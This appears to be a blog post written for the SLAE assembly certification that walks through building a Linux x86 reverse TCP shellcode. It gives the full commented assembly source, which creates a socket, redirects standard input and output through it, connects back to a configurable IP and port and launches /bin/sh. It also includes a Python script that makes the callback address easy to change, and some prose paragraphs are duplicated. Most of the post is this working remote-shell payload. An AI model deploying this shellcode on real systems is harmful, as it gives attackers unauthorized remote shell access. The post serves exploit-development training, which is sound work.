For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the second exercise requested about writing
a reverse shell tcp shellcode. Code can be found at my GitHub SLAE repository.
2. REVERSE SHELL TCP SHELLCODE
___________________________________________________
___________________________________________________
The reverse TCP payload is a very common choosen payload when working with exploits, as it bypasses inbound filtering on the target. It is also smaller than
the bind shell version, and can therefore fit into a smaller space inside the vulnerable process.
All comments are on the code. Better view of this file on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment2/linux_reverse_shell.asm
The shellcode creates a socket, duplicates file descriptors, mainly 0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself,
and every input/output will go trough the connection. It then connects back to the IP and port specified in the shellcode, and upon a successful connection, will use
execve() to launch a shell.
Once the asm file is created, I am using "asm2shellcode.sh" to build the final compiled C file:
C file created, and edited manually to better format the shellcode:
Now we can run the compiled file and check if it works. First open a netcat listening port :
Then launch the Shellcode:
We can see that the shellcode executes, and is connecting to remote IP 192.168.241.128 port 7777, as shown by the netstat command. In this example, local and remote IP are identical because we are "exploiting" ourself to check that our shellcode works. In a more common scenario, the shellcode would execute on another computer, and would connect back to us, providing a shell. Now, to be able to modify easily the IP address to connect back as well as the port, I modified a previously used python script:
Then we can modify the shellcode inside the C file. I have marked the two lines to modify if needed to change IP address and port:
We have a working reverse tcp shellcode with configurable IP addresses and local port.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
All comments are on the code. Better view of this file on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment2/linux_reverse_shell.asm
; Title: Linux x86 Reverse Shell TCP shellcode (77 bytes) ; Author: Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; Socket creation and handling with socketcall() ; socketcall(int call, unsigned long *args) ; 1 - creating socket ; int socket(int domain, int type, int protocol) ; socketfd = socket(2, 1, 0) ; eax = 0x66 = socketcall() ; ebx = 0x1 = socket() ; ecx = ptr to socket's args xor ebx, ebx ; zero out ebx mul ebx ; implicit operand eax: zero out eax mov al, 0x66 ; 0x66 = 102 = socketcall() push ebx ; 3rd arg: socket protocol = 0 mov bl, 0x1 ; ebx = 1 = socket() function push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM) push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET) mov ecx, esp ; copy stack structure's address to ecx (pointer) int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0) ; 2 - dup2 ; int dup2(int oldfd, int newfd) ; duplicate our socketfd into fd from 2 to 0 (stdin = 0, stdout = 1, stderror = 2) ; stdin/stdout/stderror become the TCP connection ; eax = 0x3f = dup2() ; ebx = socketfd ; ecx = fd (from 2 to 0) xchg eax, ebx ; ebx = socketfd, eax = 1 pop ecx ; ecx = 2 (loop count) dup_jump: mov al, 0x3f ; eax = 63 = dup2() int 0x80 ; dup2(socketfd, ecx) dec ecx ; decrement ecx from stderror to stdin jns dup_jump ; loop until ZF is set ; 3 - connect ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen) ; eax = connect(socketfd, [2, port, IP], 16) ; returns 0 on success ; eax = 0x66 = socketcall() ; ebx = 0x3 = connect() ; ecx = ptr to bind's args mov al, 0x66 ; 0x66 = 102 = socketcall() push dword 0x80f1a8c0 ; 192.168.241.128 Remote IP address push word 0x611e ; Remote port push word 0x0002 ; sin_family = 2 (AF_INET) mov ecx, esp ; ecx = ptr to *addr structure push byte 16 ; addr_len = 16 (structure size) push ecx ; push ptr of args structure push ebx ; ebx = socketfd mov bl, 0x3 ; ebx = 3 = connect() mov ecx, esp ; save esp into ecx, points to socketfd int 0x80 ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success) ; 4 - execve /bin/sh ; execve(const char *filename, char *const argv[filename], char *const envp[]) ; execve(/bin//sh, &/bin//sh, 0) ; eax = 0xb = execve() ; ebx = *filename ; ecx = *argv ; edx = *envp xor eax, eax push edx ; edx = 0x00000000 push dword 0x68732f2f ; push //sh push dword 0x6e69622f ; push /bin (=/bin//sh) mov ebx, esp ; ebx = ptr to /bin//sh into ebx push edx ; edx = 0x00000000 mov edx, esp ; edx = ptr to NULL address push ebx ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh mov ecx, esp ; ecx points to argv mov al, 0xb int 0x80 ; execve /bin/sh
Once the asm file is created, I am using "asm2shellcode.sh" to build the final compiled C file:
C file created, and edited manually to better format the shellcode:
Now we can run the compiled file and check if it works. First open a netcat listening port :
Then launch the Shellcode:
We can see that the shellcode executes, and is connecting to remote IP 192.168.241.128 port 7777, as shown by the netstat command. In this example, local and remote IP are identical because we are "exploiting" ourself to check that our shellcode works. In a more common scenario, the shellcode would execute on another computer, and would connect back to us, providing a shell. Now, to be able to modify easily the IP address to connect back as well as the port, I modified a previously used python script:
# Title: Port/IP to shellcode converter # File: port_converter.py # Author: Guillaume Kaddouch # SLAE-681 #!/usr/bin/python import socket, sys port = int(sys.argv[2]) address = str(sys.argv[1]).split('.') ip = "" for byte in address: ip += "\\x" + str(hex(int(byte)))[2:] network_order = socket.htons(port) hex_converted = hex(network_order) hex1 = hex_converted[2:4] hex2 = hex_converted[4:6] if hex1 == "": hex1 = "00" if len(hex1) == 1: hex1 = "0" + hex1 if hex2 == "": hex2 = "00" if len(hex2) == 1: hex2 = "0" + hex2 print "address = %s -> %s" % (str(sys.argv[1]), ip) print "port = %s -> \\x%s\\x%s" % (str(port), hex2, hex1)Then we can choose the IP address and port we need, to get the shellcode translation for them:
Then we can modify the shellcode inside the C file. I have marked the two lines to modify if needed to change IP address and port:
We have a working reverse tcp shellcode with configurable IP addresses and local port.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment